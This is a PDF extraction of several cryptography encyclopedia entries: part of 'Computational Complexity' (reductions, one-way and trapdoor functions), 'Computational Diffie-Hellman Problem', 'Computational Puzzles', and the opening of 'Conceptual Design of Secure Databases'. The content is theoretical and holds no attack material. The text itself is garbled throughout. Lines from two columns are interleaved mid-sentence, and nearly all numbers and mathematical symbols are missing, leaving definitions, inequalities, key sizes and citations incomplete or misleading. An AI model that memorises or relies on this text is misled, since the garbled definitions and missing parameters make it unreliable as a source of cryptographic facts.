that P NP, indeed, Factoring is one candidate for a
Reductions. One of the most important notions in com- problem in NP/P. In addition to Factoring, NP contains
putational complexity, which has been inherited by cryp- many other computational problems of great importance,
tography, is that of a reduction between computational from many disciplines, for which no polynomial-time
problems. A problem is said to reduce to problem if algorithms are known.
can be solved in polynomial time given access to an oracle The significance of NP as a complexity class is due in
that solves (i.e., a hypothetical black box that will solve part to the NP-complete problems. A computational prob-
on arbitrary instances in a single time step). Intuitively, this lem is said to be NP-complete if NP and every prob-
captures the idea that problem is no harder than problem lem in NP reduces to . Thus the NP-complete problems
. For a simple example, note that Primality reduces to are the hardest problems in NP and are the most likely
Factoring (without using the fact that Primality is in P, to be intractable. (Indeed, if even a single problem in NP is
which makes the reduction trivial): Assume an oracle that, not in P, then all the NP-complete problems are not in P.)
when fed any integer, returns its prime factorization in one Remarkably, thousands of natural computational problems
C Computational Complexity
have been shown to be NP-complete. (See [].) Thus, it is That is, the fact that a computational problem is not in
an appealing possibility to build cryptosystems out of NP- P only means that for every polynomial-time algorithm
complete problems, but unfortunately, NP-completeness A, there exist inputs on which A fails to solve . How-
does not seem sufficient for cryptographic purposes (as ever, these hard inputs could conceivably be very rare and
discussed later). very hard to find. Intuitively, to make use of intractabil-
ity (for the security of cryptosystems), one needs to be
Randomized Algorithms. Throughout cryptography, it is
able to efficiently generate hard instances of an intractable
assumed that parties have the ability to make random
computational problem.
choices; indeed, this is how one models the notion of a
secret key. Thus, it is natural to allow not just algorithms One-way functions. The notion of a One-Way Function
whose computation proceeds deterministically (as in the captures the kind of computational intractability needed
definition of P), but also consider randomized algorithms in cryptography. Informally, a one-way function is a func-
ones that may make random choices in their computation tion f that is easy to evaluate but hard to invert. That is,
(Thus, such algorithms are designed to be implemented it is required that the function f can be computed in poly-
with a physical source of randomness. Random Bit Gen- nomial time, but given y = f (x), it is intractable to recover
eration [Hardware]). x. The difficulty of inversion is required to hold even when
Such a randomized (or probabilistic) algorithm A is the input x is chosen at random. Thus, one can efficiently
said to solve a given computational problem if on every generate hard instances of the problem find a preimage
input x, the algorithm outputs the correct answer with high of y, by selecting x at random and setting y = f (x) (Note
probability (over its random choices). The error probabil- that this process actually generates a hard instance together
ity of such a randomized algorithm can be made arbitrarily with a solution; this is another way in which one-way func-
small by running the algorithm many times. For examples tions are stronger than what follows from P NP). To
of randomized algorithms, see the probabilistic primality formalize the definition, one needs the concept of a neg-
tests in the entry on prime number. The class of com- ligible function. A function : N [, ] is negligible if for
putational problems having polynomial-time randomized every constant c, there is an n such that (n) /nc for all
algorithms is denoted BPP (which stands for bounded- n n . That is, vanishes faster than the reciprocal of any
error probabilistic polynomial time). A widely believed polynomial. Then the definition is as follows:
strengthening of the P NP conjecture is that NP / BPP.
Definition (one-way function) A one-to-one function
P vs. NP and Cryptography. The assumption P NP (and f is one-way if it satisfies the following conditions.
even NP / BPP) is necessary for most of modern cryptog-
. (Easy to evaluate) f can be evaluated in polynomial time.
raphy. For example, take any efficient encryption scheme
. (Hard to invert) For every probabilistic polynomial-time
and consider the following computational problem: given a
algorithm A, there is a negligible function such that
ciphertext C, find the corresponding message M along with
the key K and any randomization R used in the encryp- Pr[A(f (X)) = X] (n),
tion process. This is an NP problem: the solution (M, K, R)
where the probability is taken over selecting an input X
can be verified by re-encrypting the message M using the
of length n uniformly at random and the random choices
key K and the randomization R and checking whether the
of the algorithm A.
result equals C. Thus, if P = NP, this problem can be solved
in polynomial time, i.e., there is an efficient algorithm for For simplicity, the definition above is restricted to one-
breaking the encryption scheme. (Technically, to conclude to-one one-way functions. Without the one-to-one con-
that the cryptosystem is broken requires that the message straint, the definition should refer to the problem of finding
M is uniquely determined by ciphertext C. This will be the some preimage of f (X), i.e., require the probability that
case for most messages if the message length is greater than A(f (X)) f (f (X)) is negligible (For technical rea-
the key length. If the message length is less than or equal sons, it is also required that f does not shrink its input too
to the key length, then there exist encryption schemes that much, e.g., that the length of f (x) and length of x are
achieve information-theoretic security for a single encryp- polynomially related ([in both directions]).
tion, e.g., the one-time pad, regardless of whether or not The length n of the input can be thought of as cor-
P = NP. Shannons Model). responding to the security parameter (or key length) in a
However, the assumption P NP (or even NP / BPP) cryptographic protocol using f . If f is one-way, it is guar-
does not appear sufficient for cryptography. The main rea- anteed that by making n sufficiently large, inverting f takes
son for this is that P NP refers to worst-case complexity. much more time than evaluating f . However, to know
how large to set n in an implementation requires a con- . (Hash functions & block ciphers) Most cryptographic
crete security analogue of the above definition, where the hash functions seem to be finite analogues of one-
maximum success probability is specified for A with a way functions with respect to concrete security. Simi-
particular running time on a particular input length n, and larly, one can obtain candidate one-way functions from
a particular model of computation. block ciphers, say by defining f (K) to be the block
The inversion problem is an NP problem (to verify cipher applied to some fixed message using key K.
that X is a preimage of Y, simply evaluate f (X) and com-
pare with Y). Thus, if NP BPP, then one-way functions In a long sequence of works by many researchers, it has C
do not exist. However, the converse is an open problem, been shown that one-way functions are indeed the right
and proving it would be a major breakthrough in com- assumption for complexity-based cryptography. On one
plexity theory. Fortunately, even though the existence of hand, almost all tasks in cryptography imply the existence
one-way functions does not appear to follow from NP / of one-way functions. Conversely (and more remarkably),
BPP, there are a number of natural candidates for one-way many useful cryptographic tasks can be accomplished
functions. given any one-way function.
Theorem The existence of one-way functions is necessary

Some Candidate One-Way Functions. These examples are and sufficient for each of the following:
described informally and may not all match up perfectly
with the simplified definition above. In particular, some The existence of commitment schemes.
are actually collections of one-way functions F = { fi : The existence of pseudorandom number generators.
Di Ri }, and the functions fi are parameterized by The existence of pseudorandom functions.
an index i that is generated by some randomized algo- The existence of symmetric cryptosystems.
rithm. (Actually, one can convert a collection of one-way The existence of digital signature schemes.
functions into a single one-way function, and conversely.
These results are proven via the notion of reducibil-
See [].)
ity mentioned above, albeit in much more sophisticated
. (Multiplication) f (p, q) = pq, where p and q are primes forms. For example, to show that the existence of one-way
of equal length. Inverting f is the Factoring problem functions implies the existence of pseudorandom genera-
(Integer Factoring, which indeed seems intractable tors, one describes a general construction of a pseudoran-
even on random inputs of the form p q). dom generator G from any one-way function f . To prove
. (Subset Sum) f (x , . . . , xn , S) = (x , . . . , xn , iS xi ). the correctness of this construction, one shows how to
Here, each xi is an n-bit integer and S [n]. Inverting reduce the task of inverting the one-way function f to
f is the Subset Sum problem (Knapsack Crypto- that of distinguishing the output of the pseudorandom
graphic Schemes). This problem is known to be NP- generator G from a truly random sequence. That is, any
complete, but for the reasons discussed above, this polynomial-time algorithm that distinguishes the pseudo-
does not provide convincing evidence that f is one way random generator can be converted into a polynomial-
(nevertheless it seems to be so). time algorithm that inverts the one-way function. But
. (The Discrete Log Collection) fG,g (x) = g x , where G is if f is one-way, it cannot be inverted, implying that the
a cyclic group (e.g., G = Zp for prime p), g is a gener- pseudorandom generator is secure. These reductions are
ator of G, and x {, . . . , G }. Inverting fG,g is the much more delicate than those arising in, say, the NP-
Discrete Log problem (Discrete Logarithm Prob- completeness, because they involve nontraditional compu-
lem), which seems intractable. This (like the next two tational tasks (e.g., inversion, distinguishing) that must be
examples) is actually a collection of one-way functions, analyzed in the average case (i.e., with respect to nonneg-
parametrized by the group G and generator g. ligible success probability).
. (The RSA Collection) fn,e (x) = xe mod n, where n The general constructions asserted in Theorem are
is the product of two equal-length primes, e satisfies very involved and not efficient enough to be used in prac-
gcd(e, (n)) = , and x Zn . Inverting fn,e is the RSA tice (though still polynomial time), so it should be inter-
problem. preted only as a plausibility result. However, from special
. (Rabins Collection (Rabin Cryptosystem, Rabin cases of one-way functions, such as one-way permutations
Digital Signature Scheme)) fn (x) = x mod n, where (One-Way Function) or some of the specific candidate
n is a composite and x Zn . Inverting fn is known to one-way functions mentioned earlier, much more efficient
be as hard as factoring n. constructions are known.
C Computational Die-Hellman Problem
Trapdoor Functions. For some tasks in cryptography, most Open Problems

notably public-key encryption (Public-Key Cryptogra- Computational complexity has a vast collection of open
phy), one-way functions do not seem to suffice, and addi- problems. The discussion above touched upon three that
tional properties are used. One such property is the trap- are particularly relevant to cryptography:
door property, which requires that the function can be
Does P = NP?
easily inverted given certain trapdoor information. What
Is Factoring in BPP?
follows is not the full definition, but just a list of the main
Does NP / BPP imply the existence of one-way func-
properties (Trapdoor One-Way Function).
tions?
Definition (trapdoor functions, informal) A collec-
tion of one-to-one functions F = {fi : Di Ri } is a Acknowledgments
collection of trapdoor functions if I thank Mihir Bellare, Ran Canetti, Oded Goldreich, Burt
Kaliski, and an anonymous reviewer for helpful comments
. (Efficient generation) There is a probabilistic polynomial-
on this entry.
time algorithm that, on input a security parameter n,
generates a pair (i, ti ), where i is the index to a (random)
function in the family and ti is the associated trapdoor Recommended Reading
information. . Arora S, Barak B () Computational complexity: a modern
. (Easy to evaluate) Given i and x Di , one can compute approach. Cambridge University Press, Cambridge
. Garey MR, Johnson DS () Computers and intractability:
fi (x) in polynomial time.
a guide to the theory of NP-completeness. W.H. Freeman and
. (Hard to invert) There is no probabilistic polynomial- Company, San Francisco
time algorithm that on input (i, fi (x)) outputs x with . Goldreich O () Computational complexity: a conceptual
nonnegligible probability. (Here, the probability is taken perspective. Cambridge University Press, Cambridge
over i, x Di , and the coin tosses of the inverter.) . Goldreich O () Foundations of cryptography: basic tools.
Cambridge University Press, Cambridge
. (Easy to invert with trapdoor) Given ti and fi (x), one
. Goldreich O () Foundations of cryptography. Vol II: basic
can compute x in polynomial time. applications. Cambridge University Press, Cambridge
. Sipser M () Introduction to the theory of computation. PWS
Thus, trapdoor functions are collections of one-way
Publishing, Boston
functions with an additional trapdoor property (Item ).
The RSA and Rabin collections described earlier have the
trapdoor property. Specifically, they can be inverted in
polynomial time given the factorization of the modulus n.
One of the main applications of trapdoor functions is
Computational Die-Hellman
for the construction of public-key encryption schemes.
Problem
Theorem If trapdoor functions exist, then public-key Igor Shparlinski
encryption schemes exist. Department of Computing Faculty of Science, Macquarie
University, Australia
There are a number of other useful strengthenings of
the notion of a one-way function, discussed elsewhere in
this volume: claw-free permutations, collision-resistant Synonyms
hash functions (Collision Resistance, and Universal CDH; DHP; Diffie-Hellman problem
One-Way Hash Functions).
Other Interactions with Cryptography. The interaction Related Concepts
between computational complexity and cryptography has Computational Complexity; Decisional Diffie-Hellman
been very fertile. The text above describes the role that Problem; DiffieHellman Key Agreement; Discrete
computational complexity plays in cryptography. Con- Logarithm Problem; Public Key Cryptography
versely, several important concepts that originated in
cryptography research have had a tremendous impact Denition
on computational complexity. Two notable examples are Let G be a cyclic group with generator g and let
the notions of pseudorandom number generators and g x , g y G. The computational Diffie-Hellman problem is to
interactive proof systems. compute g xy .
Computational Die-Hellman Problem C
Background in subgroups of Fq or (Z/mZ) , see [, , ] and the

In their pioneering paper, Diffie and Hellman [] pro- entries on pairing-based key exchange and identity-
posed an elegant, reliable, and efficient way to establish based encryption.
a common key between two communicating parties. In
the most general setting their idea can be described as Theory
follows (see Diffie-Hellman key agreement for further It is immediate that if one can find x from the given value of
discussion). Given a cyclic group G and a generator g of g x , that is, if one can solve the discrete logarithm prob- C
G, two communicating parties Alice and Bob execute the lem (DLP), then the whole scheme is broken. In fact, in
following protocol: the example of the additive group as a weak group, the
Alice selects secret x, Bob selects secret y CDHP was solved by first solving the DLP to retrieve x and
Alice publishes X = g x , Bob publishes Y = g y then computing the shared key in the same way as Alice.
Alice computes K = Y x , Bob computes K = X y Thus the CDHP is not harder than the DLP. On the other
hand, the only known (theoretical and practical) way to
Therefore, at the end of the protocol the values X = g x and solve the CDHP is to solve the associated DLP. Thus a nat-
Y = g y have become public, while the value K = Y x = ural question arises whether CDHP is equivalent to DLP
X y = g xy supposedly remains private and is known as the or is strictly weaker. The answer can certainly depend on
Diffie-Hellman shared key. the specific group G. Despite a widespread assumption that
Thus the computational Diffie-Hellman Problem this indeed is the case, that is, that in any cryptographically
(CDHP) with respect to the group G is to compute the interesting group CDHP and DLP are equivalent, very
key g xy from the public values g x and g y . Certainly, only few theoretical results are known. In particular, it has been
groups in which the CDHP is hard are of cryptographic demonstrated in [, , ] that, under certain conditions,
interest. For example, if G is the additive group of a residue CDHP and DLP are polynomial time equivalent. How-
ring Z/mZ modulo m, see modular arithmetic, then the ever, there are no unconditional results known in this
CDHP is trivial: using additive notations the attacker sim- direction. Some quantitative relations between complex-
ply computes x X/g (mod m) (because g is a generator ities of CDHP and DLP are considered in []; relations
of the additive group of Z/mZ, we have gcd(g, m) = and between different DL-based assumptions are explored in
the extended Euclidean algorithm can be used to invert [] and [].
g modulo m) and then K xY (mod m).
On the other hand, it is widely believed that using mul- Applications
tiplicative subgroups of the group of units (Z/mZ) of The choice of the group G is crucial for the hardness of
the residue ring Z/mZ modulo m yields examples of the CDHP (while the choice of the generator g does not
groups for which the CDHP is hard, provided that the seem to be important at all). Probably the most imme-
modulus m is carefully chosen. In fact these groups are diate choice is G = Fq , thus g is a primitive element
exactly the groups suggested by Diffie and Hellman []. of the finite field Fq . However, one can work in a sub-
This belief also extends to subgroups of the multiplicative group of Fq of sufficiently large prime order (but still
group Fq of a finite field Fq of q elements, see torus-based much smaller than q and thus more efficient) without sac-
cryptography. rificing the security of the protocol. Indeed, based on the
Although, the requirements on the suitable groups current knowledge it may be concluded that the hardness
have been refined since and are better understood, of the DLP in a subgroup G Fq (at least for some most
unfortunately not too many other examples of reliable commonly used types of fields; for further discussion see
groups have been found. Probably the most intriguing discrete logarithm problem) is bounded by each of the
and promising example, practically and theoretically, is following:
given by subgroups of point groups on elliptic curves,
which have been proposed for this kind of application . / , where is the largest prime divisor of #G, see
by Koblitz [] and Miller []. Since the original pro- [, ] and the entry on generic attacks against
posal, many very important theoretical and practical issues DLP
related to using elliptic curve cryptography have been . Lq [/, / ] for a rigorous unconditional algorithm,
investigated, see [, ]. Even more surprisingly, ellip- see []
tic curves have led to certain variants of the Diffie- . Lq [/, (/)/ ] for the (heuristic) number field
Hellman scheme using pairings, which are not available sieve against DLP algorithm, see [, ]
C Computational Die-Hellman Problem
where as usual Lx [t, ] denotes any quantity of the form decisional Diffie-Hellman problem, i.e., the problem of
Lx [t, ] = exp(( + o())(log x)t (log log x)t ) (see deciding whether the triple g x , g y , g z satisfies g z = g xy .
L-Notation). See the entry on decisional Diffie-Hellman problem for
It has also been discovered that some special sub- definitions stated for infinite sequences of groups.)
groups of some special extension fields are more efficient in For G = Fp , Boneh and Venkatesan [] have found a
computation and communication without sacrificing the very elegant way, using lattice basis reduction, to solve
security of the protocol. The two most practically and this question in the affirmative, see also []. Their result
theoretically important examples are given by LUC, see has been slightly improved and also extended to other
[, ], and XTR, see [], protocols (see, more gener- groups in []. For the XTR version of DHP bit-security
ally, torus-based cryptography). results are given in []. The results of these papers can be
One can also consider subgroups of the residue ring summarized as follows: error-free recovery of even some
(Z/mZ) modulo a composite m . Although they do small portion of information about the Diffie-Hellman
not seem to give any practical advantages (at least in the shared key K = g xy is as hard as recovering the whole key
original setting of the two party key exchange protocol), (cf. hard-core bit). Extending this result to the case
there are some theoretical results supporting this choice, where the recovering algorithm works with only some
for example, see []. non-negligible positive probability of success is an open
The situation is more complicated for elliptic curve question. This would immediately imply that hashing K
cryptography, hyperelliptic curves, and more gener- does not increase the security of the secret key over simply
ally for abelian varieties. For these groups not only the using a short substring of bits of K for the same purpose,
arithmetic structure of the cardinality of G matters, but at least in an asymptotic sense.
many other factors also play an essential role, see [, It is important to remark that these results do not assert
, , , ] and references therein. that the knowledge of just a few bits of K for particular
(g x , g y ) translates into the knowledge of all the bits. Rather
Bit Security of the Die-Hellman Secret Key the statement is that given an efficient algorithm to deter-
While there are several examples of groups in which the mine certain bits of the common key corresponding to
CDHP (like the DLP) is conjectured to be hard, the secu- arbitrary g x and g y , one can determine all of the common
rity relies on unproven assumptions. Nevertheless, after key corresponding to particular g x and g y .
decades of exploration, the cryptographic community has Another, somewhat dual problem involving some par-
gained a reasonably high level of confidence in some tial information about K is studied in []. It is shown in
groups, for example, in subgroups of Fp . Of course, this [] that any polynomial time algorithm which for given
assumes that p and the group order are sufficiently large x and y produces a list L of polynomially many elements of
to thwart attacks against the discrete logarithm problem. G, where K = g xy L, can be used to design a polynomial
For -bit security, p has at least bits and has at least time algorithm which finds K unambiguously.
bits; for -bit security, p has at least bits and has
at least bits. However, after the common key K = g xy
is established, only a small portion of the bits of K will be Number Theoretic and Algebraic Properties
used as a common key for some pre-agreed symmetric Getting rigorous results about the hardness of the CDHP
cryptosystem. is probably infeasible nowadays. One can however study
Thus, a natural question arises: Assume that finding some number theoretic and algebraic properties of the
all of K is infeasible, is it necessarily infeasible to find map K : G G G given by K(g x , g y ) = g xy . This is
certain bits of K? In practice, one often derives the secret of independent intrinsic interest and may also shed some
key from K via a hash function but this requires an light on other properties of this map which are of direct
additional function, which generally must be modeled cryptographic interest.
as a black box. Moreover, this approach requires a hash In particular one can ask about the degree of polyno-
function satisfying some additional requirements which mials F for which F(g x , g y , g xy ) = or F(g x , g y ) = g xy or

could be hard to prove unconditionally. Thus the security F(g x , g x ) = or F(g x ) = g x for all or many g x , g y G.
of the obtained secret key relies on the hardness of the It is useful to recall the interpolation attack on block
CDHP and some assumptions about the hash function. Bit ciphers which is based on finding polynomial relations of
security results can remove usage of hash functions and similar spirit. It has been shown in [] (as one would cer-
thus avoid the need to make any additional assumptions. tainly expect) that such polynomials are of exponentially
(Note that retrieving the key corresponds to solving the large degree, see also []. Several more results of this type
CDHP but most cryptosystems base their security on the can also be found in [, , ].
Computational Die-Hellman Problem C
Recommended Reading . Koblitz N () Good and bad uses of elliptic curves in cryp-
. Biham E, Boneh D, Reingold O () Breaking generalized tography. Moscow Math J :
Diffie-Hellman modulo a composite is no easier than factoring. . Koblitz N, Menezes A () Intractable problems in cryptog-
Inform Proc Letts : raphy. In: Proceedings of th International Conference Finite
. Blake I, Seroussi G, Smart NP () Elliptic curves in cryptog- Fields and Their Applications, Contemporary Math., vol , pp
raphy. In: London mathematical society, Lecture notes series,
vol . Cambridge University Press, Cambridge . Koblitz N, Menezes A, Shparlinski IE () Discrete logarithms,
. Bleichenbacher D, Bosma W, Lenstra AK () Some remarks Diffie-Hellman, and reductions to appear in Vietnam Journal of
on Lucas-based cryptosystems. In: Coppersmith D (ed) Mathematics C
Advances in cryptology CRYPTO. Lecture notes in com- . Lenstra AK, Verheul ER () The XTR public key system.
puter science, vol . Springer, Berlin, pp In: Bellare M (ed) Advances in cryptology CRYPTO .
. Boneh D, Franklin M () Identity-based encryption from Lecture notes in computer science, vol . Springer, Berlin,
the Weil pairing. In: Kilian J (ed) Advances in cryptology pp
CRYPTO . Lecture notes in computer science, vol . . Lenstra AK, Verheul ER () Key improvements to XTR. In:
Springer, Berlin, pp Okamoto T (ed) Advances in cryptography ASIACRYPT .
. Boneh D, Lipton R () Algorithms for black-box fields and Lecture notes in computer science, vol . Springer, Berlin,
their applications to cryptography. In: Koblitz N (ed) Advances pp
in cryptology CRYPTO. Lecture notes in computer science, . Lenstra AK, Verheul ER () Fast irreducibility and sub-
vol . Springer, Berlin, pp group membership testing in XTR. In: Kim K (ed) PKC .
. Boneh D, Venkatesan R () Hardness of computing the Lecture notes in computer science, vol . Springer, Berlin,
most significant bits of secret keys in Diffie-Hellman and pp
related schemes. In: Koblitz N (ed) Advances in cryptology . Li W-CW, Nslund M, Shparlinski IE () The hidden num-
CRYPTO. Lecture notes in computer science, vol . ber problem with the trace and bit security of XTR and LUC.
Springer, Berlin, pp In: Yung M (ed) Advances in cryptology CRYPTO .
. Boneh D, Venkatesan R () Rounding in lattices and its cryp- Lecture notes in computer science, vol . Springer, Berlin,
tographic applications. In: Proceedings of th Annual ACM- pp
SIAM symposium on discrete algorithms. ACM, New York, . Maurer UM, Wolf S () The relationship between breaking
pp the Diffie-Hellman protocol and computing discrete logarithms .
. Cherepnev MA () On the connection between the discrete SIAM J Comput :
logarithms and the Diffie-Hellman problem. Diskretnaja Matem . Maurer UM, Wolf S () The Diffie-Hellman protocol.
(in Russian) : Designs, Codes and Cryptogr :
. Coppersmith D, Shparlinski IE () On polynomial approxi- . Meidl W, Winterhof A () A polynomial representation of
mation of the discrete logarithm and the Diffie-Hellman map- the Diffie-Hellman mapping. Appl Algebra in Engin Commun
ping. J Crypto : Comput :
. Diffie W, Hellman ME () New directions in cryptography. . Menezes AJ, Koblitz N, Vanstone SA () The state of
IEEE Trans Inform Theory : elliptic curve cryptography. Designs, Codes and Cryptogr :
. El Mahassni E, Shparlinski IE () Polynomial representa-
tions of the Diffie-Hellman mapping. Bull Aust Math Soc : . Menezes AJ, van Oorschot PC, Vanstone SA () Handbook
of applied cryptography. CRC Press, Boca Raton
. Enge A () Elliptic curves and their applications to cryptog- . Miller VC () Use of elliptic curves in cryptography. In:
raphy. Kluwer, Dordrecht Williams HC (ed) Advances in cryptology CRYPTO.
. Galbraith SD () Supersingular curves in cryptography. In: Lecture notes in computer science, vol . Springer, Berlin,
Boyd C (ed) Advances in cryptology ASIACRYPT . Lec- pp
ture notes in computer science, vol . Springer, Berlin, . Pomerance C () Fast, rigorous factorization and discrete
pp logarithm algorithms. Discrete Algorithms and Complexity.
. Gaudry P, Hess F, Smart NP () Constructive and destruc- Academic Press, New York, pp
tive facets of Weil descent on elliptic curves. J Crypto : . Rubin K, Silverberg A () Supersingular abelian varieties in
cryptology. In: Yung M (ed) Advances in cryptology CRYPTO
. Gonzalez Vasco MI, Shparlinski IE () On the security of . Lecture notes in computer science, vol . Springer,
Diffie-Hellman bits. In: Proceedings of workshop on cryptogra- Berlin, pp
phy and computational number theory, Singapore, Birkhauser, . Schirokauer O () Discrete logarithms and local units. Philos
pp Trans R Soc Lond Ser A :
. Joux A () A one round protocol for tripartite Diffie- . Schirokauer O, Weber D, Denny T () Discrete logarithms:
Hellman. In: Bosma W (ed) Proceedings of ANTS-IV. Lec- the effectiveness of the index calculus method. In: Cohen H (ed)
ture notes in computer science, vol . Springer, Berlin, pp Proceedings of ANTS-II. Lecture notes in computer science,
. Joux A () The Weil and Tate pairings as building blocks for . Shoup V () Lower bounds for discrete logarithms and
public key cryptosystems. In: Kohel D, Fieker C (eds) Proceed- related problems. In: Fumy W (ed) Advances in cryptology
ings of ANTS V. Lecture notes in computer science, vol . EUROCRYPT. Lecture notes in computer science, vol .
. Koblitz N () Elliptic curve cryptosystems. Math Comp . Shparlinski IE () Cryptographic applications of analytic
: number theory. Birkhuser, Basel
C Computational Puzzles
. Smith PJ, Skinner CT () A public-key cryptosystem and a a subsequence of S. To solve the puzzle, one needs to
digital signature system based on the Lucas function analogue find out X, the missing bits on S. This requires a brute-
to discrete logarithms. In: Pieprzyk J, Naini RS (eds) Advances
force search of a space of size X . Therefore, the length
in cryptography ASIACRYPT. Lecture notes in computer
of the subsequence, X, determines the difficulty of the
. Stinson DR () Cryptography: theory and practice. CRC puzzle. Also widely used is a variation of this puzzle con-
Press, Boca Raton struction [, , ], which consists of a nonce parameter
. Winterhof A () A note on the interpolation of the Diffie- Ns created by the puzzle generator and a parameter Nc
Hellman mapping. Bull Aust Math Soc :
created by the puzzle solver. A solution to this puzzle, a
binary sequence X, makes the first m bits of h(Ns , Nc , X)
zeros. Here, m becomes the puzzle difficulty. This varia-
tion allows the puzzle solver to compute multiple puzzles
Computational Puzzles without contacting the puzzle generator, which is impor-
tant for the application domains where low interactions are
XiaoFeng Wang required [, ]. In both constructions, generating a puzzle
School of Informatics and Computing, Indiana University and verifying its solution incur a much lower computa-
at Bloomington, Bloomington, IN, USA tional cost than solving the puzzle. These two construc-
tions are illustrated in Figure .
There are two types of computational puzzles, CPU-
Synonyms bound or memory-bound.
Client puzzles; Cryptographic puzzles; Proof of work
A CPU-bound puzzle is designed in a way that the
Denition average time one takes to find its solution depends
A computational puzzle is a moderately hard problem, on the speed of the processor. Hash-based puzzles, as
the answer of which can be computed within a reason- described above, fall in this category. A problem of such
able time and verified efficiently. Such a problem is often puzzles is that puzzle-solving time varies significantly
given to a service requester to solve before the requested from high-end platforms such as high-speed server to
service is provided, which mitigates the threats of denial low-end ones like mobile devices.
of service (DoS) attacks and other service abuses such A memory-bound puzzle is solved mostly efficiently
as spam. through intensive memory accesses. As a result, its
computation speed is bound by the latency incurred
by these accesses. Such a puzzle tends to be more
Background
socialistic, whose computation time depends less on
Cynthia Dwork and Moni Naor were the first to come
hardware platforms. This technique was first proposed
up with the idea of using a moderately hard but tractable
by Martin Abadi, Mike Burrows, Mark Manasse, and
function to price the sender of junk mails []. The terms
Ted Wobber [] and further developed by other
client puzzle and cryptographic puzzle were coined by
researchers [, ].
Ari Juels and John Brainard to describe their protocol for
countering connection depletion attacks []. Before them,
Ronald Rivest, Adi Shamir, and David Wagner also dis-
cussed the concept of time-lock puzzles for controlling S X Ns Nc X
when encrypted data can be decrypted [].
Theory h h
Computation puzzles are typically built upon weak-
ened cryptographic primitives. Examples include weak-
ened FiatShamir signatures [], OngSchnorrShamir
signature broken by Pollard [], DiffieHellman-based y 000...01...
puzzles [], and partial hash inversion [, ].
For example, the puzzle function proposed by Ari Juels Puzzle proposed The variation
by Juels and Brainer
and John Brainard [] works as follows. Given a cryp-
tographic hash function h and a binary string S, a puz- Computational Puzzles. Fig. Examples of puzzle construc-
zle includes h, S X and y, where y = h(S) and X is tions
Conceptual Design of Secure Databases C
Applications . Coelho F () Exponential memory-bound functions for

Computation puzzles have been widely proposed to proof of work protocols. In Proceedings of Cryptology ePrint
Archive, Report /
defend against DoS attacks [, , , , ] and junk e-
. Feng W () The case for TCP/IP puzzles. In SIGCOMM
mails [, , ], and to create digital time capsules [], Comput Comm Rev ():. ACM Press, New York
metering Web site usage [], lotteries [, ], and fair . Feng W, Kaiser E, Luu A () Design and implementation
exchange []. of network puzzles. In Proceedings of IEEE INFOCOM, pp.
The effectiveness of computation puzzles against spam
is in debate. Ben Laurie and Richard Clayton argue that . Penny Black Project at Microsoft Research. In: http://research. C
microsoft.com/en- us/projects/pennyblack/
it can be impossible to discourage spamming without . Franklin M, Malkhi D () Auditable metering with
incurring unacceptable computation burdens to legitimate lightweight security. In Hirschfeld R (ed) Proceedings of
users []. Debin Liu and L Jean Camp, however, show Financial Cryptography (FC ), Lecture Notes in Computer
that puzzle-based spam defense can still work once it is Science :. Springer, Berlin
. Goldschlag D, Stubblebine S () Publically verifiable lot-
incorporated with a reputation system [].
teries: applications of delaying functions (extend abstract). In
Proceedings of Financial Cryptography , Lecture Notes in
Recommended Reading Computer Science :
. Dwork C, Naor M () Pricing via processing or combat- . Syverson P () Weakly secret bit commitment: Applications
ing junk mail. In Brickell E (ed) Proceedings of Advances in to lotteries and fair exchange. In CSFW : Proceedings of
CryptologyCRYPTO , Lecture Notes in Computer Science, the th IEEE Workshop on Computer Security Foundations,
:. Springer, Berlin pp.
. Juels A, Brainard J () Client puzzle: a cryptographic defense . Garay J, Jakobsson M () Timed release of standard digi-
against connection depletion attacks. In Kent S (ed) Proceedings tal signatures. In Proceedings of Financial Cryptography, emph
of the th Annual Network and Distributed System Security Lecture Notes in Computer Science :. Springer,
Symposium, pp Berlin
. Rivest R, Shamir A, Wagner D () Time-lock puzzles and . Boneh D, Naor M () Timed commitments (extended
timed-release crypto. MIT/LCS/TR- abstract). In Proceedings of Advances in Cryptology
. Waters B, Juels A, Halderman JA, Felten EW () New client CRYPTO, Lecture Notes in Computer Science :.
puzzle outsourcing techniques for dos resistance. In Proceedings Springer, Berlin
of the th ACM Conference on Computer and Communications . Laurie B, Clayton R () Proof of work proves not to work.
Security, pp. . ACM Press, New York In Proceedings of Workshop on the Economics of Information
. Wang X, Reiter M () Defending against denial-of-service Security
attacks with puzzle auctions. In Proceedings of the IEEE Sympo- . Liu D, Camp LJ () Proof of work can work. In Proceedings
sium on Security and Privacy, pp. . IEEE Press, New York of Workshop on the Economics of Information Security
. Wang X, Reiter M () Mitigating bandwidth-exhaustion
attacks using congestion puzzles. In Proceedings of the th
ACM Conference on Computer and Communication Security,
pp. . ACM Press, New York
. Back A. HashCash. In: http://hashcash.org/ Computationally Sound Proof
. Jakobsson M, Juels A () Proofs of work and bread pud- System
ding protocols. In Communications and Multimedia Secu-
rity, pp. . Kluwer Academic Publishers, Dordrecht, the
Netherland Interactive Argument
. Gabber E, Jakobsson M, Matias Y, Mayer AJ () Curbing
junk e-mail via secure classification. In Proceedings of the
Second International Conference on Financial Cryptography,
Lecture Notes in Computer Science, :. Springer,
Berlin
Conceptual Design of Secure
. Aura T, Nikander P, Leiwo J () Dos-resistant authentica- Databases
tion with client puzzles. In Proceedings of the th International
Workshop on Security Protocols, Lecture Notes in Computer Gnther Pernul , Moritz Riesner
Science, pp. . Springer, Berlin
LS fr Wirtschaftsinformatik I -Informationssysteme,
. Abadi M, Burrow M, Manasse M, Wobber T () Moder-
Universitt Regensburg, Regensburg, Germany
ately hard, memory-bound functions. In Proceedings of the th
Annual Network and Distributed System Security Symposium, Department of Information Systems, University of
pp. . San Diego, California Regensburg, Regensburg, Germany
. Dwork C, Goldberg A, Naor M () On memory-bound
functions for fighting spam. In Proceedings of Advances in
Cryptology - CRYPTO, Lecture Notes in Computer Science,
Synonyms
: Conceptual modeling
C Conceptual Design of Secure Databases
Denition In the following design stage, the conceptual model

Conceptual design of secure databases encompasses the is transformed into a system-dependent logical database
creation of a platform-independent data model that incor- model. The logical model takes the data definition lan-
porates security requirements and constraints. Following guage of the database software into account. Subsequently,
the requirements analysis, conceptual design is the basis it is used for database implementation in the next stage.
for further steps in database design that subsequently As reliance on database applications has increased
transform the database conceptualization into a platform- substantially, the importance of incorporating security
dependent model and an implementation. requirements and constraints into the database design pro-
cess has increased as well. Similar to other design choices,
those nonfunctional requirements should be considered
Background
early in the design process []. In order to achieve this, a
The conceptual design produces a platform-independent
number of extensions to the database design process and
model of a universe of discourse and is an important step in
to the various modeling techniques have been proposed.
any database design methodology. As security concerns are
